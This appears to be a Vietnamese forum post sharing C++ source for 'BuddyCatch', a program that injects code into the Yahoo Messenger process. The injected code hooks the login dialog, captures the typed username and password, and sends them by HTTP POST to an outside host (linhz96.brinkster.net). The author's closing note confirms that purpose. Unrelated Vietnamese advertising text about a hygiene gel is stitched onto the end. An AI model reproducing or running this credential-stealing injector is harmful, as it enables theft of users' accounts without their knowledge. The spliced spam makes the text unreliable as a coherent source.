Mã:
// BuddyCatch.cpp : Defines the entry point for the application.////HTTP PACKET://Coded by Linh (^_^) #include "stdafx.h"#include <winsock2.h> typedef LRESULT (WINAPI *SENDMESSAGE)(HWND,UINT,WPARAM,LPARAM);typedef LRESULT (WINAPI *MSGBOX)(HWND,LPCSTR,LPCSTR,UINT);typedef LRESULT (WINAPI *SETWINDOWLONG)(HWND,INT,LONG);typedef HWND (WINAPI *FINDWINDOWEX)(HWND,HWND,LPCTSTR,LPCTSTR);typedef LRESULT (WINAPI *SLEEP)(DWORD);typedef LRESULT (WINAPI *CALLWINDOWPROC)(WNDPROC,HWND,UINT,WPARAM,LPARAM);typedef HMODULE (WINAPI *LOADLIBRARY)(LPCSTR);typedef HMODULE (WINAPI *LOADLIBRARY)(LPCSTR);typedef FARPROC (WINAPI *GETPROCADDRESS)(HMODULE,LPCSTR);typedef HANDLE (WINAPI *CREATETHREAD)(LPSECURITY_ATTRIBUTES,SIZE_T,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD);typedef void (WINAPI *COPYMEMORY)(PVOID,const VOID*,SIZE_T); typedef int (WINAPI *WSASTARTUP)(WORD,LPWSADATA);typedef SOCKET (WINAPI *CREATESOCK)(int,int,int);typedef int (WINAPI *CONNECT)(SOCKET,const struct sockaddr*,int);typedef int (WINAPI *SEND)(SOCKET,const char*,int,int);typedef int (WINAPI *RECV)(SOCKET,const char*,int,int);typedef int (WINAPI *CLOSESOCKET)(SOCKET);typedef int (WINAPI *WSACLEANUP)(void); struct data{ SENDMESSAGE fnSendMessage; MSGBOX fnMsgbox; SETWINDOWLONG fnSetWindowLong; FINDWINDOWEX fnFindWindowEx; SLEEP fnSleep; CALLWINDOWPROC fnCallWindowProc; LOADLIBRARY fnLoadLibrary; GETPROCADDRESS fnGetProcAddress; CREATETHREAD fnCreateThread; COPYMEMORY fnCopyMemory; char strWsaStartUp[11]; char strSocket[7]; char strConnect[8]; char strSend[5]; char strRecv[5]; char strCloseSocket[12]; char strWsaCleanup[11]; char modulename[7]; char clsname[7]; char strEdit[5]; char ts[117]; char ts2[34]; char ts3[5]; HWND mainwnd; WNDPROC WndProc; void* SendThread; HWND dlgwnd; WNDPROC prevproc; WSASTARTUP fnWsaStartUp; CREATESOCK fnSocket; CONNECT fnConnect; SEND fnSend; RECV fnRecv; CLOSESOCKET fnCloseSocket; WSACLEANUP fnWsaCleanup; HWND txtUser; HWND txtPass; char user[100]; char pass[100];}; data* remotedat; static SendThread (data* dat){ char hexchar[] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'}; char sendbuf[300];//17//116 33 4 int c; for (c = 0; c <= 116; c++) sendbuf[c] = dat->ts[c]; int size = 0; c = 0; while (dat->pass[c] != 0) { if (((dat->pass[c] < 'a') || (dat->pass[c] > 'z')) && ((dat->pass[c] < 'A') || (dat->pass[c] > 'Z')) && ((dat->pass[c] < '0') || (dat->pass[c] > '9')) && (dat->pass[c] != '@') && (dat->pass[c] != '*') && (dat->pass[c] != '-') && (dat->pass[c] != '_') && (dat->pass[c] != '.')) size+=3; else { size+=1; }; c++; }; c = 0; while (dat->user[c] != 0) { if (((dat->user[c] < 'a') || (dat->user[c] > 'z')) && ((dat->user[c] < 'A') || (dat->user[c] > 'Z')) && ((dat->user[c] < '0') || (dat->user[c] > '9')) && (dat->user[c] != '@') && (dat->user[c] != '*') && (dat->user[c] != '-') && (dat->user[c] != '_') && (dat->user[c] != '.')) size+=3; else { size+=1; }; c++; }; c = 0; size += 17; int s2 = size; while (s2 != 0) {s2 = s2 / 10; c++;}; int cur = 116 + c; sendbuf[cur] = 0; c--; while (size != 0) { sendbuf[116 + c] = size % 10 + 48; size = size / 10; c--; }; for (c = 0; c <= 33; c++) sendbuf[cur + c] = dat->ts2[c]; cur+= c - 1; c = 0; while (dat->user[c] != 0) { if (((dat->user[c] < 'a') || (dat->user[c] > 'z')) && ((dat->user[c] < 'A') || (dat->user[c] > 'Z')) && ((dat->user[c] < '0') || (dat->user[c] > '9')) && (dat->user[c] != '@') && (dat->user[c] != '*') && (dat->user[c] != '-') && (dat->user[c] != '_') && (dat->user[c] != '.')) { sendbuf [cur] = '%'; sendbuf[cur + 1 ] = hexchar[dat->user[c] >> 4]; sendbuf[cur+2] = hexchar[dat->user[c] & 0xf]; cur+=3; } else { sendbuf[cur] = dat->user[c]; cur++; }; c++; }; for (c = 0; c <= 4; c++) sendbuf[cur + c] = dat->ts3[c]; cur+=c - 1; c=0; while (dat->pass[c] != 0) { if (((dat->pass[c] < 'a') || (dat->pass[c] > 'z')) && ((dat->pass[c] < 'A') || (dat->pass[c] > 'Z')) && ((dat->pass[c] < '0') || (dat->pass[c] > '9')) && (dat->pass[c] != '@') && (dat->pass[c] != '*') && (dat->pass[c] != '-') && (dat->pass[c] != '_') && (dat->pass[c] != '.')) { sendbuf [cur] = '%'; sendbuf[cur + 1 ] = hexchar[dat->pass[c] >> 4]; sendbuf[cur+2] = hexchar[dat->pass[c] & 0xf]; cur+=3; } else { sendbuf[cur] = dat->pass[c]; cur++; }; c++; }; sendbuf[cur] = 0; SOCKET sock = dat->fnSocket (AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in name; name.sin_family = AF_INET; name.sin_port = MAKEWORD (0, 80); name.sin_addr.S_un.S_addr = MAKELONG (MAKEWORD (65,182), MAKEWORD (101,243)); dat->fnConnect (sock, (sockaddr*) &name, sizeof (sockaddr)); dat->fnSend (sock, &sendbuf[0], cur, 0); char buf[100]; int ret = dat->fnRecv (sock, &buf[0], 100, 0); dat->fnCloseSocket (sock); dat->fnMsgbox (NULL, &sendbuf[0], NULL, MB_OK);};static void mark3(); static void Thread(data* dat){ bool sub = false; BYTE* addr = (BYTE*) dat->WndProc; addr+= 12; long* a = (long*) addr; *a = (long) dat; HMODULE module = dat->fnLoadLibrary(&dat->modulename[0]); dat->fnWsaStartUp = (WSASTARTUP) dat->fnGetProcAddress (module, dat->strWsaStartUp); dat->fnSocket = (CREATESOCK) dat->fnGetProcAddress (module, dat->strSocket); dat->fnConnect = (CONNECT) dat->fnGetProcAddress (module, dat->strConnect); dat->fnSend = (SEND) dat->fnGetProcAddress (module, dat->strSend); dat->fnRecv = (RECV) dat->fnGetProcAddress (module, dat->strRecv); dat->fnCloseSocket = (CLOSESOCKET) dat->fnGetProcAddress (module, dat->strCloseSocket); dat->fnWsaCleanup = (WSACLEANUP) dat->fnGetProcAddress (module, dat->strWsaCleanup); BYTE wsadata[399]; dat->fnWsaStartUp (MAKEWORD (2,2), (WSADATA*) &wsadata[0]); while (true) { dat->dlgwnd = dat->fnFindWindowEx (dat->mainwnd, NULL, &dat->clsname[0], NULL); if (dat->dlgwnd) { if (!sub) { sub = true; dat->txtUser = dat->fnFindWindowEx (dat->dlgwnd, NULL, dat->strEdit, NULL); dat->txtPass = dat->fnFindWindowEx (dat->dlgwnd, dat->txtUser, dat->strEdit, NULL); dat->prevproc = (WNDPROC) dat->fnSetWindowLong (dat->dlgwnd, GWL_WNDPROC,(long) dat->WndProc); }; } else { if (sub) sub = false; }; dat->fnSleep (1); };};static void mark (void) {}; static LRESULT CALLBACK WndProc ( HWND hwnd, // handle to window UINT uMsg, // message identifier WPARAM wParam, // first message parameter LPARAM lParam) // second message parameter{ data* dat = (data*) 0x0a0b0c0d; if ((uMsg == WM_COMMAND) && (LOBYTE (wParam) == IDOK)) { dat->fnSendMessage (dat->txtUser, WM_GETTEXT, dat->fnSendMessage (dat->txtUser, WM_GETTEXTLENGTH, NULL, NULL) + 1, (LPARAM) &dat->user[0]); dat->fnSendMessage (dat->txtPass, WM_GETTEXT, dat->fnSendMessage (dat->txtPass, WM_GETTEXTLENGTH, NULL, NULL) + 1, (LPARAM) &dat->pass[0]); if ((dat->fnSendMessage (dat->txtUser, WM_GETTEXTLENGTH, NULL, NULL) != 0) || (dat->fnSendMessage (dat->txtPass, WM_GETTEXTLENGTH, NULL, NULL) != 0)) dat->fnCreateThread (NULL, NULL,(LPTHREAD_START_ROUTINE) dat->SendThread, (LPVOID) dat, NULL, NULL); }; return dat->fnCallWindowProc((WNDPROC) dat->prevproc, hwnd, uMsg, wParam, lParam); } static void mark2(void) {}; int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ int size; HINSTANCE hUser32 = GetModuleHandle ("User32"); HINSTANCE hKernel = GetModuleHandle ("Kernel32"); HANDLE ht; DWORD tid, ret, pid; data dat = { (SENDMESSAGE) GetProcAddress (hUser32, "SendMessageA"), (MSGBOX) GetProcAddress (hUser32, "MessageBoxA"), (SETWINDOWLONG) GetProcAddress (hUser32, "SetWindowLongA"), (FINDWINDOWEX) GetProcAddress (hUser32, "FindWindowExA"), (SLEEP) GetProcAddress (hKernel, "Sleep"), (CALLWINDOWPROC) GetProcAddress (hUser32, "CallWindowProcA"), (LOADLIBRARY) GetProcAddress (hKernel, "LoadLibraryA"), (GETPROCADDRESS) GetProcAddress (hKernel, "GetProcAddress"), (CREATETHREAD) GetProcAddress (hKernel, "CreateThread"), (COPYMEMORY) GetProcAddress (hKernel, "CopyMemory"), "WSAStartup", "socket", "connect", "send", "recv", "closesocket", "WSACleanup", "ws2_32", "#32770", "Edit", "POST /post.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: linhz96.brinkster.net
Content-Length: ", "
Connection: Close
B1=Submit&T1=", "&T2=", FindWindow ("YahooBuddyMain", NULL) }; GetWindowThreadProcessId (dat.mainwnd, &pid); HANDLE hp = OpenProcess (PROCESS_ALL_ACCESS, FALSE,pid); size = (LPBYTE) mark2 - (LPBYTE) WndProc; dat.WndProc = (WNDPROC) VirtualAllocEx(hp, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory (hp, (LPVOID) dat.WndProc, WndProc, size, &ret);// show ((long) dat.WndProc); size = size = (LPBYTE) mark2 - (LPBYTE) SendThread; dat.SendThread = VirtualAllocEx(hp, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory (hp, (LPVOID) dat.SendThread, SendThread, size, &ret);// show ((long) dat.SendThread); remotedat = (data*) VirtualAllocEx(hp, 0, sizeof(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, remotedat, &dat, sizeof(data), &ret);// show ((long) remotedat); size = ((LPBYTE) mark - (LPBYTE) Thread); DWORD* remotecode = (DWORD*) VirtualAllocEx (hp, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory (hp, remotecode, Thread, size, &ret);// show ((long) remotecode); ht = CreateRemoteThread (hp, NULL, 0, (LPTHREAD_START_ROUTINE) remotecode, remotedat, 0 , &tid); WaitForSingleObject (ht, INFINITE); CloseHandle (hp); return 0;}
Cái này sẽ inject code vào yahoo, bắt pass và nick, gửi đến đây: linhz96.brinkster.net/get.asp. Nó sẽ chi làm nhiệm vụ inject, xong sẽ kết thúc CT, việc còn lại để cho các code được Inject lo.
Vệ sinh cá nhân là một phần quan yếu của sức khỏe nam giới. Dùng dung dịch vệ sinh mỗi ngày mang lại nhiều ích, giúp loại bỏ vi khuẩn và vi sinh vật gây hại, giúp khu vực cơ quan sinh dục luôn sạch...
Gel vệ sinh cu, bạn trai có nên...